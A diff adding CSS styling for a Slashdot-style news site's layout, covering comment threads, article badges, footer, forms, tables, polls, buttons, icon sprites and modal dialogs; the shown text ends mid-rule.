+.slashdot-it .oneline > .current { margin-left: -0.75em;}
+
+#comments .oneline {
+ display:block;
+ list-style:none;
+ position:relative;
+ text-indent:20px;
+ margin-right: 20px;
+}
+
+body.slashdot-it #commentlisting > li.oneline {
+ height: 40px;
+ display:block;
+ list-style:none;
+ position:relative;
+ text-indent:20px;
+ margin-right: 20px;
+ background: rgb(229,229,229);
+ border-radius: 4px;
+ -webkit-border-radius:4px;
+ -moz-border-radius:4px;
+ box-shadow: inset rgba(0, 0, 0, .2) 0 1px 2px;
+ -moz-box-shadow: inset rgba(0, 0, 0, .2) 0 1px 2px;
+ -webkit-box-shadow: inset rgba(0, 0, 0, .2) 0 1px 2px;
+}
+
+
+#comments .oneline .oneline {margin-right: 0;}
+#comments .comment .oneline {padding:0;}
+#comments .oneline > div > div.commentBody {height:1.6em;overflow:hidden;}
+#comments .oneline > div > div.commentBody * {display:inline !important; cursor:pointer;}
+.slashdot-it #commentlisting li.comment.full,
+#comments .full {width:100%; float:left; padding:0; margin:0 20px 10px 0;border:1px solid rgb(200,200,200);list-style:none;border-radius: 10px 0 0 0;-moz-border-radius: 10px 0 0 0;-webkit-border-radius: 10px 0 0 0;-o-border-radius: 10px 0 0 0;}
+#comments .comment .full {margin-bottom:1px;}
+#comments .contain .comment {margin-top:1em;left:-3px;padding-bottom:1px;}
+#comments .contain .comment.oneline {margin-top:0;}
+#comments .oneline footer, #comments li .oneline time, #comments li .oneline > div > div > .details, #comments li .oneline > div > div > .title > h4 > .score, .oneline > div > div.commentSub {display: none !important;}
+#comments .oneline > div > div > div.title > h4 {color: rgb(125,125,125); display: inline; float: left; margin-right:.25em; background:none;padding:0}
+body.slashdot-it li.comment.full h4 a, #comments .full h4, #comments .full h4 a, #commentlisting.d1 h4, #wide #commentlisting h4 a, #commentlisting.d1 h4 a {color:rgb(255,255,255);text-decoration:none;}
+#comments .oneline > div > div > div.title > h4 a {color: rgb(0,107,107);text-decoration:underline;}
+#comments .oneline > div > div > div > p { overflow: hidden; margin: 0; color: rgb(125,125,125) !important; }
+#comments li.oneline > div > div.commentBody > div div.quote {display:none !important;}
+/*#comments .oneline > div > .commentBody {line-height:40px;}*/
+.a2 .commentspl {display:none;}
+#comments .oneline > div > div.commentBody blockquote {border: none; margin: 0;}
+#comments .oneline > div > div.commentBody .quote {margin:0;font-size:100%;text-align:left;font-style:normal;border:0;}
+.oneline > div > .commentBody .quote { border:0; display:none; }
+
+.fhitem .body blockquote,#commentlisting blockquote {border-left:3px solid #DDDDDD;color:#777777;margin-bottom:0.75em;padding-left:0.75em; margin-left:0;}
+
+
+
+.oneline > div > .commentBody {color: rgb(125,125,125) !important; /*line-height:40px;*/text-indent:6px;}
+.oneline > div >.commentBody b, .oneline .commentBody strong {font-weight:normal}
+#comments li.hide,#comments .oneline > div > div .details {display:none;}
+#comments .full .details {margin:0;}
+.full .commentBody {text-indent:0;}
+.full .commentBody , .full .commentSub, .full > div, .full > ul {cursor: text;}
+#discussion_buttons {clear: both;}
+
+body.slashdot-it li.comment.full .commentBody, #commentlisting .comment_footer, #commentlisting.d1 .commentBody, #comments .commentBody, #wide #commentlisting .commentBody {padding:20px 20px 0;}
+
+#comments ul li.show {padding:0px 20px 0;}
+
+#commentlisting.d1 .commentSub,
+#wide #commentlisting .commentSub,
+#comments .commentSub {
+ padding:0 20px 0;
+}
+
+#comments .oneline .full .commentSub {
+ padding: 0;
+ width:98%;
+}
+
+#comments .oneline > div > .commentBody {padding:0;}
+.commentSub .modsel {display:inline-block;}
+
+.full .show {list-style:none;}
+.badgeicon {position:relative;padding:0;display:inline-block;margin-top:-6px;}
+.badgeicon img {margin-bottom:-4px;}
+/*
+.badgeicon a {position:absolute;top:0;}
+*/
+.badgelink {text-decoration:none !important;}
+
+#commentlisting > li {list-style:none;}
+ #commentlisting .commentSub { height:2.4em; }
+ #commentlisting .commentSub .btn {font-weight: bold;}
+
+#commentlisting #tree_ {margin-left:0;}
+
+#commentControlBoxStatus,.loading {padding-left:20px;}
+
+#comments .full .inline_comment, #comments .warning{margin:10px 30px 0 20px;}
+#comments .newcmnt .inline_comment {margin:0 30px 0 0;}
+.inline_comment {position: relative; margin-right: 30px;}
+#comments .commentSub {height:2.25em;}
+#comments .replyto_buttons {height:3em;text-indent:0;}
+.post_anon {margin-bottom:0 !important;}
+#comments .replyto_reply {text-indent:0;clear:both;display:inline-block;width:100%;}
+#comments > #wide .generalbody > form > fieldset {
+float:left;
+}
+
+
+.generalbody .w140.pass1,
+.generalbody .w140[for=pass1] {
+height:54px;
+}
+
+.most-active article .comments {
+position: absolute;
+height:19px;
+width:40px;
+background:rgb(0,47,47);
+text-align:center;
+color:rgb(255,255,255);
+line-height:1.6em;
+margin:1.25em 1.25em 1.25em 0;
+font-weight:bold;
+letter-spacing:-.075em;
+-webkit-border-radius: 10px;
+-moz-border-radius:25px;
+-o-border-radius:25px;
+border-radius:25px;
+bottom:1.5em;
+left:1em;
+}
+
+.most-active article .comments {padding: 0;}
+
+article.briefarticle .comments {
+ background:rgb(0,33,33);
+ color:rgb(255,255,255);
+ line-height:1.6em;
+ margin: 0.15em -3em 0 0.5em;
+ font-weight:bold;
+ letter-spacing:-.075em;
+ -webkit-border-radius:25px;
+ -moz-border-radius:25px;
+ border-radius:25px;
+ padding:0 .75em;
+ font-size: 0.75em;
+ float:right;
+}
+
+article.article header .comments {
+display:none;
+}
+
+article.briefarticle .comments a, .most-active article .comments a {color: rgb(255,255,255) !important;}
+
+.most-active article .comments:before{
+content:"\00a0";
+display:block; /* reduce the damage in FF3.0 */
+position:absolute;
+top:-4px;
+left:17px;
+width:0;
+height:0;
+border-width: 4px 4px 4px 0 ;
+border-style:solid;
+border-color:transparent rgb(0,47,47);
+}
+
+.most-active article .comments:after {
+content:"\00a0";
+display:block; /* reduce the damage in FF3.0 */
+position:absolute;
+top:-4px;
+left:21px;
+width:0;
+height:0;
+border-width: 4px 0 4px 4px;
+border-style:solid;
+border-color:transparent rgb(0,47,47);
+}
+
+article .comments:hover {text-decoration: none !important;}
+
+#firehose article > p { margin: 20px 20px; }
+#firehose #search article {border-bottom: 1px solid rgb(229,229,229); padding: 0 20px;}
+#firehose #search article > p { margin: 0 0 20px; }
+
+#firehose article > p i,
+article .quote,
+#editpreview article > p i,
+.commentBody .quote {
+ border-left:4px solid rgb(229,229,229);
+ display:block;
+ margin:1em;
+ padding:0 1em;
+}
+
+.commentBody .quote {
+ margin:1em 0;
+}
+
+#firehose article address {
+ display:inline;
+}
+
+.briefarticle .meta strong {font-size:.9em;}
+
+.cc > op {
+margin-top:-.25em;
+}
+
+.cc strong,
+.meta strong {
+ font-size:1.2em;
+ line-height: 1.5em;
+ font-weight:bold;
+}
+
+.meta {
+ margin: 0 20px 0;
+ display: block;
+}
+
+.meta .tags {
+color: rgb(119,119,119);
+position:relative;
+width:auto;
+float:right;
+}
+
+.paginate {text-align:center; margin: 15px 0;}
+.search-view .paginate { display:none; }
+
+#fh-paginate { display: inline; height: 24px; overflow: hidden; }
+#fh-paginate .more {display:block;margin:1em 0 0 1.5em !important;}
+#firehose_more {margin-left:-1.5em;margin-right:.15em;display:block;}
+#more-experiment > .btn {display:block;margin:0;width:100%;}
+
+.fhfooter blockquote {
+ font-style:italic;
+ color:rgb(125,125,125);
+ font-weight:bold;
+ text-align:right;
+}
+
+.fhfooter .more {
+ padding-top:4.4em;
+ padding-bottom:1.6em
+}
+
+.fhfooter .more a {
+ font-weight:bold;
+ font-size:110%;
+}
+
+/*
+.busy-ajax #more_comments_button,
+.busy-firehose #more-experiment a > span.spinner {
+display:inline-block !important;
+}
+*/
+
+#modal_box_content > #editor {
+float:left;
+}
+
+#editor .spinner span.tag-server-busy.spinner,
+display:none !important;
+}
+
+#editor > .message.notice {
+width:98.5%;
+}
+
+#editor.step2 > h3 {
+position:absolute;
+margin:1.5em 0 0 .25em;
+z-index:10;
+font-size:3em;opacity:.15;
+-moz-transform: rotate(-25deg);
+-webkit-transform: rotate(-25deg);
+-o-transform: rotate(-25deg);
+-ms-transform: rotate(-25deg);
+transform: rotate(-25deg);
+}
+
+#modal_box #editor.step2 > h3 {
+z-index:0;
+}
+
+#editor #hcanswer {
+min-width:100px;
+width:100px;
+}
+
+#firehoselist #editor textarea[name=introtext] {
+width:100%;
+}
+
+#firehose > #editor textarea[name=introtext] {
+width:70%;
+}
+#editor .title.main_button {
+padding: 4px 5em 3.5px;
+}
+
+#editor textarea[name=introtext] {
+height:100px;
+}
+
+#editor textarea.storytextbox[name=introtext]{
+height:200px;
+}
+
+#editor .url input.url,
+#editor .title input.title,
+#editor .prel > input.name,
+#editor .edit-bar input.tag-entry
+{
+width:70%;
+}
+
+#modal_box #editor h2.firehose a,
+#modal_box #editor h2.firehose a:hover {
+color:rgb(255,255,255);
+}
+
+#modal_box #editor div.details,
+#modal_box #editor p.body {
+margin:0 22px;
+}
+
+#modal_box #editor aside {
+padding:0;
+margin:0;
+width:96%;
+}
+
+#more_comments_button .spinner,
+#firehose_more .spinner {
+width:18px;
+height:18px;
+display:none;
+text-indent:-99999px;
+background:transparent url(//a.fsdn.com/sd/spinner2.gif) no-repeat top left;
+}
+
+/* FOOTER */
+body>section>footer {
+ background:rgb(229,229,229);
+ background-image: -moz-linear-gradient(0 2% 90deg,rgb(229,229,229), rgb(229,229,229), rgb(200,200,200) 100%);
+ background-image: -webkit-gradient(linear, 0% 2%, 0% 0%, from(rgb(229,229,229)), to(rgb(200,200,200)));
+ border-top:1px solid rgb(190,190,190);
+ margin: 20px 0 0 !important;
+ width:100% !important;
+}
+
+footer nav[role=footer] ul {
+ margin:0;
+}
+footer nav[role=footer] ul li, .btmnav ul li {
+ list-style:none;
+ display:inline;
+}
+
+footer div.tright a, nav[role=footer] ul li a {
+ color:rgb(102,102,102);
+}
+
+footer>nav[role=footer]>small {
+ font-size:.9em;
+ margin-left:20px;
+ display:block;
+}
+
+footer>div>small {
+ display:block;
+ font-size:.9em;
+ text-align:right;
+ padding-right:20px;
+ width:150px;
+ float:right;
+}
+
+footer small .ft {
+width:auto;
+float:right;
+text-align:right;
+margin-right:1em;
+}
+
+footer a.geeknet {
+ background:url("//a.fsdn.com/sd/classic/img/geeknet-logo.png") no-repeat scroll right top transparent;
+ padding:1.5em 0 0;
+ text-align:right;
+ width:150px;
+ display:block;
+}
+
+footer a.geeknet span {
+ display:none;
+}
+
+
+/* General */
+h1,h2,h3,h4 {font-weight: bold; margin: 0; padding: 0;}
+h1 { font-size: 1.2em;}
+h2 {font-size: 1.1em;}
+h3,h4 {font-size: 1em;}
+aside h3 {font-size: 1.1em; color: rgb(125,125,125);}
+small {font: .85em/1.2 Arial;}
+#comments h1, #comments h2, #comments h3, #comments h4 {font-size: 1em;}
+
+hr {border: none; height: 0; clear: both; margin: 1em 0 .8em; display: block; border-bottom: 1px solid rgb(229,229,229);}
+
+a, .link, a.link { color: rgb(0,102,102); text-decoration: none; cursor: pointer; }
+a:visited, a:hover {color: rgb(0,47,47);}
+a:hover, .link {text-decoration: underline;}
+a:focus {outline:0;}
+
+
+img {border: none;}
+
+.chip {height: 75px; width: 75px; margin: 1px; padding: 2px; display: block; font: .75em/1.2em Helvetica;}
+.chip.sm {height: 25px; margin-bottom: 0;}
+
+.reverse {color: rgb(255,255,255);}
+
+
+
+/* Search */
+
+
+/* Table */
+caption {font-weight: bold !important;}
+table {
+ background: rgb(255,255,255);
+ width: 100%;
+ margin: 10px 0;
+ overflow: visible;
+ padding: 0;
+ border-collapse: collapse;
+}
+
+table.card {overflow: visible;}
+caption {font: 1em/1.5 Arial; padding: .5em 0 10px; text-align: left;}
+tr td, tr th {font: 1em/1.5 Arial; padding: .5em 10px .1em; text-align: left;}
+tbody tr td, tbody tr th {border-top: 1px solid rgb(229,229,229);}
+thead tr {
+ border: 1px solid rgb(190,190,190);
+}
+tbody tr:first-child td, tbody tr:first-child th {
+ border-top: 1px solid rgb(190,190,190);
+}
+thead tr th {
+ font-weight: bold;
+ text-align: left;
+ text-shadow: rgb(255,255,255) 0 1px;
+ color: rgb(54,54,54);
+ padding: .5em 10px .1em;
+ background: rgb(229,229,229);
+ background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(245,245,245)), to(rgb(229,229,229)));
+ background-image: -moz-linear-gradient(100% 100% 90deg, rgb(229,229,229), rgb(245,245,245) 100%);
+ background-image: -o-linear-gradient(top, rgb(245,245,245),rgb(229,229,229) 100%);
+}
+tfoot tr td {
+ border-top: 4px solid rgb(229,229,229);
+}
+
+tbody tr.even td, tbody tr.even th {background: rgb(245,245,245);}
+
+/* Form */
+form fieldset {
+margin:0;
+padding:.5em;
+ border: 1px double rgb(229,229,229);
+-moz-border-radius: 10px;
+-webkit-border-radius: 10px;
+-o-border-radius: 10px;
+border-radius: 10px;
+}
+
+#wide .generalbody > form > fieldset {
+width:100%;
+float:left;
+clear:both;
+}
+
+#modal_box_content form:last-child fieldset:last-child {
+ margin-bottom:0 !important;
+ padding-bottom:0 !important;
+}
+
+#modal_box_content h1 {
+display:none;
+}
+
+form fieldset fieldset {border: none; margin: 0; padding: 0;}
+
+form legend {
+ font-weight: bold;
+ padding: 0 10px;
+ font-size: 1.1em;
+ position: relative;
+ border: none;
+ background: none;
+ margin-left: 10px;
+}
+
+form ol {padding-left: .3em;}
+form:not(#commentform) ol li {
+ list-style: none;
+ padding: 5px 0;
+ margin: 0 0 2px;
+}
+
+form ol ol li { background: none; border: none; float: left; }
+
+form label { width: 90px; text-align: right; padding-right: 10px; line-height: 24px; }
+
+form fieldset fieldset label { line-height: 1em; width: auto; }
+
+#modal-p > h3 {
+position:absolute;
+margin-top:.5em;
+}
+
+body.prefs > div > .grid_24.pref {
+position:fixed;
+z-index:5;
+top:0px;
+height:60px;
+background-color:white;
+text-align: center;
+text-indent: 120px;
+}
+
+#modal-p > .pref {
+ line-height: 30px;
+ width: 100%;
+ margin-top:0;
+ height:auto !important;
+}
+
+#modal-p > .pref > .menu {
+margin-right:4em;
+}
+
+#modal-p > .pref > .menu li { padding:5px 5px 5px 8px !important;}
+#modal_prefs > ol {padding:0;margin:0;}
+
+form input[type=text] + input[type=submit] {float: none;}
+
+#firehose ul.menu, #slashboxes ul.menu {margin: 0 0 1em 0; padding: 0;}
+ #firehose ul.menu li, #slashboxes ul.menu li, #formtabs li, .smallscreen > #u2tabs li {margin: 0; padding: 0 1em; list-style: none; display: inline; }
+ .smallscreen > #u2tabs li {padding:0 0 0 0.25em;}
+ #firehose ul.menu li:first-child, #slashboxes ul.menu li:first-child {border: none; padding: 0 1em 0 0;}
+
+#formtabs li {padding:5px !important}
+#modal_box_content #formtabs {display:none;}
+#modal_box_content form fieldset {border:none;padding:0;margin:0;}
+#embbeded_login_modal form fieldset {border:none;}
+
+#modal-p .menu li { display:inline; padding:0.5em; }
+.pref .preftab,
+.mhof .hoftab { padding:0.5em; }
+#fh-paginate > span:not(.more) { padding:0.5em; }
+
+
+#archpagin .active {
+
+border-radius: 4px;
+-moz-border-radius: 4px;
+-webkit-border-radius: 4px;
+-o-border-radius: 4px;
+position:relative;
+background: rgb(229,229,229);
+padding-bottom: 0;
+
+min-width: 2em;
+display: inline-block;
+line-height: 2em;
+}
+
+
+
+#story_archive_opts_year .active,
+#story_archive_opts .active,
+ul.menu li.selected,
+.linkCommentPage .active,
+#formtabs .active,
+#fh-paginate > span.active,
+.pref .preftab.active,
+.mhof .hoftab.active,
+#friendsmenu li.active,
+#modal-p .menu li.selected,
+.smallscreen > #u2tabs.left_menu li.active
+{
+border-radius: 4px;
+-moz-border-radius: 4px;
+-webkit-border-radius: 4px;
+-o-border-radius: 4px;
+position:relative;
+background: rgb(229,229,229);
+padding-bottom: 7px !important;
+
+
+-webkit-box-shadow: rgba(0,0,0,.25) 0 -1px 1px;
+-moz-box-shadow: rgba(0,0,0,.25) 0 -1px 1px;
+box-shadow: rgba(0,0,0,.25) 0 -1px 1px;
+
+
+}
+
+ul.menu li.selected {
+padding-top:.5em !important;
+}
+
+.smallscreen > #u2tabs.left_menu li.active {
+padding:5px 4px !important;
+}
+
+#u2tabs.left_menu li.active,
+#links.left_menu li.active {
+border-radius: 4px 0 0 4px;
+-moz-border-radius: 4px 0 0 4px;
+-webkit-border-radius: 4px 0 0 4px;
+-o-border-radius: 4px 0 0 4px;
+background: rgb(229,229,229);
+}
+
+
+#friendsmenu ul {margin: 0 0 1em}
+
+#story_archive_opts_year li,
+#story_archive_opts li {
+display: inline;
+padding: 0.5em;
+}
+
+.hoftab.active > span,
+#archpagin .active > span,
+#story_archive_opts_year .active > span,
+#story_archive_opts .active > span,
+.smallscreen > #u2tabs > ul > .active > span,
+.pref .preftab.active > span,
+#formtabs .active > span,
+#friendsmenu li.active > span,
+#modal-p .menu li.selected > span,
+.zoo ul.menu li.selected > span {
+bottom:-5px;
+height:10px;
+left:50%;
+position:absolute;
+width:10px;
+margin-left:-5px;
+
+background: rgb(229,229,229);
+
+
+-webkit-transform: rotate(-45deg);
+-moz-transform: rotate(-45deg);
+-o-transform: rotate(-45deg);
+-ms-transform: rotate(-45deg);
+transform: rotate(-45deg);
+
+}
+
+#archpagin .active > span {
+top:-4px;
+}
+
+#users-blocks .zoo ul.menu li {
+display:inline;
+padding:0.5em !important;
+}
+
+#users-blocks table {
+width:auto;
+}
+
+#users-blocks table td {
+vertical-align:middle;
+}
+
+#u2tabs.left_menu li.active > span,
+#links.left_menu li.active > span {
+height: 14px;
+margin-left: -5px;
+position: absolute;
+right: -7px;
+top: 3px;
+width: 14px;
+
+background: rgb(229,229,229);
+-webkit-transform: rotate(-45deg);
+-moz-transform: rotate(-45deg);
+-o-transform: rotate(-45deg);
+-ms-transform: rotate(-45deg);
+transform: rotate(-45deg);
+
+-moz-border-radius: 0 0 0 1px;
+-webkit-border-radius: 0 0 0 2px;
+-o-border-radius: 0 0 0 2px;
+border-radius: 0 0 0 2px;
+}
+
+.smallscreen #u2tabs.left_menu li.active > span {
+z-index:-1;
+top:18px;
+}
+
+.smallscreen #u2tabs.left_menu .achievements,
+.smallscreen #u2tabs.left_menu .submission,
+.smallscreen #u2tabs.left_menu .tags {
+display:none;
+}
+
+/*
+#u2tabs.left_menu a:visited,
+#links.left_menu a:visited {
+color: rgb(0,102,102);
+}
+*/
+
+form .wide {
+ width: 100% !important;
+}
+
+form fieldset fieldset label:hover {
+ cursor: pointer;
+}
+
+form input[type=text],
+form input[type=tel],
+form input[type=email],
+form input[type=password],
+form textarea {
+ background: #ffffff;
+ outline: none;
+ padding: 5px;
+ width: auto;
+ border: 1px solid rgb(205,205,205);
+ border-radius: 4px;
+ -moz-border-radius: 4px;
+ -webkit-border-radius: 4px;
+ -o-border-radius: 4px;
+ font: 1em/1.5 Arial !important;
+ margin-bottom: 5px;
+ min-width: 235px;
+}
+
+textarea[name=bio],
+textarea[name=sig],
+textarea[name=pubkey] {
+ width:75%;
+}
+
+.inline_comment form textarea {
+width:60%;
+max-width: 960px;
+}
+.inline_comment h3 {margin: 0;}
+
+#slashboxes form input[type=text],
+#slashboxes form input[type=tel],
+#slashboxes form input[type=email],
+#slashboxes form input[type=password],
+
+#slashboxes form textarea
+{min-width: 170px;}
+
+form input[type=radio],
+form input[type=checkbox] {
+ width: auto;
+}
+
+.pollBooth_view .generalbody {
+ margin: -20px 0 20px;
+ padding: 20px;
+ border: 1px double rgb(229,229,229);
+-moz-border-radius-bottomleft: 10px;
+-moz-border-radius-bottomright: 10px;
+-webkit-border-bottom-left-radius: 10px;
+-webkit-border-bottom-right-radius: 10px;
+border-bottom-left-radius: 10px;
+border-bottom-right-radius: 10px;
+-o-border-radius-bottomleft: 10px;
+-o-border-radius-bottomright: 10px;
+}
+
+#poll form input[type=radio] {
+margin-right:10px;
+}
+
+#poll form label {
+line-height: 1.6em;
+margin-bottom: 10px;
+}
+
+#poll p.ft {
+margin-top:1em;
+}
+
+.bar .barColor {
+-moz-border-radius:0;
+-webkit-border-radius:0;
+-o-border-radius:0;
+border-radius:0;
+border:0 !important;
+padding-bottom:0.25em;
+border-top:0;
+}
+
+.bar .barPercent {
+ background: rgb(238,238,238);
+ background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(204,204,204)), to(rgb(238,238,238)));
+ background-image: -moz-linear-gradient(100% 100% 90deg,rgb(238,238,238), rgb(204,204,204) 100%);
+ background-image: -o-linear-gradient(top, rgb(204,204,204), rgb(238,238,238) 100%);
+ border-top:0;
+}
+
+.bar .barAnswer {
+padding-bottom:0;
+}
+.barVotes {background: none !important;}
+#poll-content form label > span {
+display: inline;
+text-align: left;
+}
+
+#poll-content form label > input[type=radio] {
+float: left;
+clear: none;
+display: inline;
+}
+
+#firehose #poll-content label > span.grid_2 {
+width:auto;
+}
+
+form input[type=text]:focus,
+form input[type=tel]:focus,
+form input[type=email]:focus,
+form input[type=password]:focus,
+form textarea:focus {
+ box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.2), inset 0 20px 20px -10px rgb(245,245,245);
+ -moz-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.2), inset 0 20px 20px -10px rgb(245,245,245);
+ -webkit-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.2), inset 0 20px 20px -10px rgb(245,245,245);
+ border: 1px solid rgb(125,125,125);
+}
+
+form input[type=radio],
+form input[type=checkbox] {
+ margin-right: .5em;
+}
+
+/* buttons - lui */
+.btn, button, input[type=submit], input[type=reset], input[type=button] {
+box-shadow: rgba(255,255,255,.6) 0 1px 0;
+-webkit-box-shadow: rgba(255,255,255,.6) 0 1px 0;
+-moz-box-shadow: rgba(255,255,255,.6) 0 1px 0;
+font: 1em/1.5 Arial;
+font-weight: bold !important;
+text-shadow: #fff 0 1px;
+text-decoration: none;
+margin: 0 10px 7px 0;
+display: inline;
+float: left;
+padding: 4px 10px 2px;
+border: 1px solid #aaa;
+min-width: .7em;
+overflow: hidden;
+color: #555 !important;
+text-align: center;
+position: relative;
+height: auto;
+min-height: 19px;
+border-radius: 4px;
+-moz-border-radius: 4px;
+-webkit-border-radius: 4px;
+-o-border-radius: 4px;background: #e5e5e5;
+background: -moz-linear-gradient(center top, #fff 0%,rgb(204,204,204) 100%);
+background: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff),color-stop(1, rgb(204,204,204)));
+background-image: -o-linear-gradient(top, #fff 0%,rgb(204,204,204) 100%);
+border: 1px solid #aaa;
+}
+button, input[type=submit], input[type=reset], input[type=button] {padding: 4px 10px 3.5px;}
+.under {text-decoration: underline}
+.btn-set {display: block;float: left;font: 1em/1.3em Arial;}
+ .btn-set .btn {border-radius: 0;-moz-border-radius: 0;-webkit-border-radius: 0;-o-border-radius: 0;border: 1px solid #aaa !important;}
+ .btn-set .btn:first-child {-o-border-top-left-radius: 4px !important;-o-border-bottom-left-radius: 4px !important;border-top-left-radius: 4px !important;border-bottom-left-radius: 4px !important;-webkit-border-top-left-radius: 4px !important;-webkit-border-bottom-left-radius: 4px !important;-moz-border-radius-topleft: 4px !important;-moz-border-radius-bottomleft: 4px !important;margin: 0 -1px 0 0;}
+ .btn-set .btn:last-child {-o-border-top-right-radius: 4px !important;-o-bottom-right-radius: 4px !important;border-top-right-radius: 4px !important;border-bottom-right-radius: 4px !important;-webkit-border-top-right-radius: 4px !important;-webkit-border-bottom-right-radius: 4px !important;-moz-border-radius-topright: 4px !important;-moz-border-radius-bottomright: 4px !important;margin: 0 10px 0 -11px;}
+.btn-set.duo .btn:first-child {margin: 0 -1px 0 0}
+.btn-set.duo .btn:last-child {margin: 0 0 0 0}
+.btn-bar h2, .btn-bar .tleft {float: left;padding: .2em .5em 0 .5em;}
+.btn-bar .tleft {padding: .3em .5em 0 .5em}
+.btn-bar {display: block;clear: both;padding: 10px 20px;border-radius: 4px;-moz-border-radius: 4px;-webkit-border-radius: 4px;-o-border-radius: 4px;border-radius: 4px;text-decoration: none;min-width: 1em;text-align: center;position: relative;margin: 0 0 20px;}
+ .btn-bar .btn {margin: 0 10px 0 0}
+ .btn-bar hr {margin: 0;visibility: hidden;}
+ .btn-bar a:hover {opacity: .8;}
+ .btn-bar .btn-set {font: 1em/1.5 Arial}
+ #forge .btn-bar a {color: #333;}
+.btn:hover, button:hover, .btn-set .btn.ico:hover, input[type=submit]:hover, input[type=reset]:hover, input[type=button]:hover:not([disabled=disabled]) {
+cursor: pointer !important;
+text-decoration: none;
+border: 1px solid #aaa !important;
+background: #eee !important;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#eee)) !important;
+background-image: -moz-linear-gradient(100% 100% 90deg,#eee, #fff 100%) !important;
+background-image: -o-linear-gradient(top,#fff, #eee 100%) !important;
+}
+.btn.active,
+.btn:active:hover,
+button:active:hover,
+.btn-set .btn.ico:active:hover,
+input[type=submit]:active:hover,
+input[type=reset]:active:hover,
+input[type=button]:active:hover {
+text-shadow:none;
+/*
+background: rgba(0, 0, 0, .1) !important;
+*/
+box-shadow: inset rgba(0, 0, 0, .1) 0 -2px 5px, inset rgba(0, 0, 0, .2) 0 1px 3px !important;
+-moz-box-shadow: inset rgba(0, 0, 0, .2) 0 1px 3px !important;
+-webkit-box-shadow: inset rgba(0, 0, 0, .1) 0 -2px 5px, inset rgba(0, 0, 0, .2) 0 1px 3px !important;
+}
+header.h input[type=submit]:active:hover,header.h input[type=button]:active:hover {
+background: #eee !important;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#eee)) !important;
+background-image: -moz-linear-gradient(100% 100% 90deg,#eee, #fff 100%) !important;
+background-image: -o-linear-gradient(top,#fff, #eee 100%) !important;
+}
+.btn.link, .btn.link:hover, .btn.link:active:hover {background: none !important;border: none !important;font-weight: normal !important;text-shadow: none !important;box-shadow: none !important;-webkit-box-shadow: none !important;-moz-box-shadow: none !important;color: rgb(0,107,107) !important;}
+.btn.link:hover {color: rgb(0,47,47) !important;}
+.dark .btn.link {color: #fff !important; text-decoration: underline;}.disabled {}
+.primary {background-color: rgb(0,0,0)}
+
+/* Icons */
+.ico-l {padding-left: 30px !important;}
+.ico-r {padding-right: 30px !important;}
+.btn.ico-r, .btn.ico-l {width: auto;}
+
+.ico span {text-indent: -7000em; display: block;float: left;}
+.ico-r, .ico-l, .ico
+{
+ margin: 0 0 -0.75em;
+ overflow: hidden;
+ position: relative;
+ display: inline-block;
+ height: 24px;
+ width: 24px;
+}
+.btn.ico {
+display:block;
+height:24px !important;
+margin:0 !important;
+padding:0 !important;
+width:24px !important;
+}
+
+#commentControlBoxStatus .ui-icon,.loading .ui-icon {display:inline-block;height:22px;width:22px;background-repeat:no-repeat;background-image:url('//a.fsdn.com/sd/spinner2.gif');margin-bottom:-.65em;}
+
+.ui-icon, .ico {background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16.png');}
+.ui-icon-w, .ico-w {background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16-w.png');}
+#firehoselist #editor .close, .extlnk a.ico, .extlnk a.ui-icon, .ico.i2pref, .ui-icon.i2pref,i .ico.journal_firehoseedit, .ui-icon.journal_firehoseedit, #slashboxes header .ico, .ico.reverse, #slashboxes header .ui-icon {background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16-w.png');}
+.ui-icon:hover,.ui-icon.ui-state-hover {opacity:.75;}
+.ui-icon.ui-state-active {opacity:.85;}
+.close { background-position: -5px -5px; }
+#slashboxes .close {background-position: -5px -1763px;}
+.ui-icon-help { background-position: -39px -5px;}
+.ui-icon-tag { background-position: -102px -70px;}
+.ui-icon-search { background-position: -167px -39px;}
+.ui-icon-gear { background-position: -263px -72px;}
+.ui-icon.search {background-position:-164px -37px;}
+
+.ui-icon.journal_firehoseedit {
+background-position:-262px -70px;
+width:22px;
+height:22px;
+display:inline-block;
+float:left;
+overflow:hidden;
+text-indent:-99999px;
+}
+
+
+.ui-icon.medal {
+background-position: -231px -358px;
+width: 16px;
+height:18px;
+display:inline-block;
+text-indent:-99999px;
+float:none;
+padding-bottom: 2px;
+margin-bottom:-4px;
+}
+
+.ui-icon.journal_firehoseeditcancel {
+background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16-w.png') !important;
+background-position:-5px -5px;
+width:22px;
+height:22px;
+display:inline-block;
+float:left;
+overflow:hidden;
+text-indent:-99999px;
+margin-top:6px;
+margin-left:4px;
+position:absolute;
+}
+
+.submission .journal_firehoseeditcancel {
+display:none;
+}
+
+.ui-icon.delete {
+display:inline-block;
+text-indent:-99999px;
+width:20px;
+height:20px;
+background-position:-5px -5px;
+}
+
+/* modal */
+#modal_box:not(.no_scrollbars) #modal_box_content {
+margin:60px 20px 0;
+}
+
+
+#modal_box_content .pref {
+
+position: fixed;
+line-height: 24px;
+margin-right: 1em;
+margin-top: -3em;
+text-align: center;
+text-indent: 120px;
+z-index: 1;
+height: auto;
+background: #fff;
+width: 57%;
+margin-left: 1px;
+padding-top: 1em;
+}
+
+#modal_box_content .mhof {
+
+position: fixed;
+line-height: 24px;
+margin-right: 1em;
+margin-top: -60px;
+text-align: center;
+text-indent: 120px;
+z-index: 3;
+height: auto;
+background: white;
+width: 70%;
+margin-left: -10px;
+padding-left: 10px;
+padding-top: 10px;
+padding-bottom: 11px;
+
+}
+
+
+.ui-icon-w.pref,
+.ui-icon.pref,
+.ui-icon.edit {
+background-position:-261px -68px;
+width:22px;
+height:22px;
+text-indent:-99999px;
+display:inline-block;
+}
+
+#modal_box_content .ui-icon.edit {
+position:absolute;
+top:1px;
+right:20px;
+}
+
+.ui-icon.pref a,
+.ui-icon.edit a {
+display:block;
+overflow:hidden;
+text-indent:99999px;
+width:20px;
+}
+
+.ui-icon.search_comments {
+display: inline-block;
+height: 22px;
+width: 22px;
